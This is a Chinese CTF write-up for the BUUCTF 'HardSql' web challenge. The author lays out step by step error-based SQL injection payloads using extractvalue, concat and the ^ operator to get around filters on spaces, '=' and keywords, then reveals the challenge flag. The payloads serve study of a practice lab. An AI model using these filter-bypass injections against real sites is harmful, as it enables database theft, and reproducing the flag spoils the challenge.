50.【8】BUUCTF WEB HardSql
进入靶场
随便输输
上order by
????????,被过滤了,继续找其他也被过滤的关键字
#,-- -,-- +都不行,尝试其他特殊字符后发现and,union,select,空格,=都被过滤了
如下
我就不知道该怎么注入了
看看其他人的wp,直接在url处输入用户名和密码,并且用到了extractvalue函数,concat函数
1.查询库名
aaa'^extractvalue(1,concat(0x7e,(select(database()))))%23
(特殊符号^是用来绕过对空格的过滤)(0x7e表示~)(用了很多括号来避免空格的使用)
2.查询表名
aaa'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23
(用like表示=)
3.查询字段名
aaa'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23
4,查询字段内容
aaa'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))%23
XPATH syntax error: '~flag{d3f924ee-7d15-4a27-9fd8-c5'
5,从后往前查询
aaa'^extractvalue(1,right(concat(0x7e,(select(group_concat(password))from(H4rDsq1))),32))%23
XPATH syntax error: 'fd8-c5239a11bb58}'
6,拼接
flag{d3f924ee-7d15-4a27-9fd8-c5239a11bb58}
over
笔记
1,
extractvalue() 函数:
extractvalue() 是 MySQL 的一个 XML 函数,用于从 XML 字符串中提取值。它的第一个参数是 XML 文档或片段,第二个参数是 XPath 表达式,用于定位要提取的值,第一个参数 1 通常是一个不相关的占位,第二个参数是攻击者精心构造的恶意表达式。
2,
concat() 函数:
concat() 函数用于拼接字符串。在这个例子中,攻击者使用 concat(0x7e,(select(database()))) 来拼接字符串。
0x7e 是十六进制表示的字符 ~。
select(database()) 是 SQL 查询语句,用于获取当前使用的数据库名称。攻击者将 ~ 和查询到的数据库名称拼接在一起。
3,
%23:
%23 是 # 的 URL 编码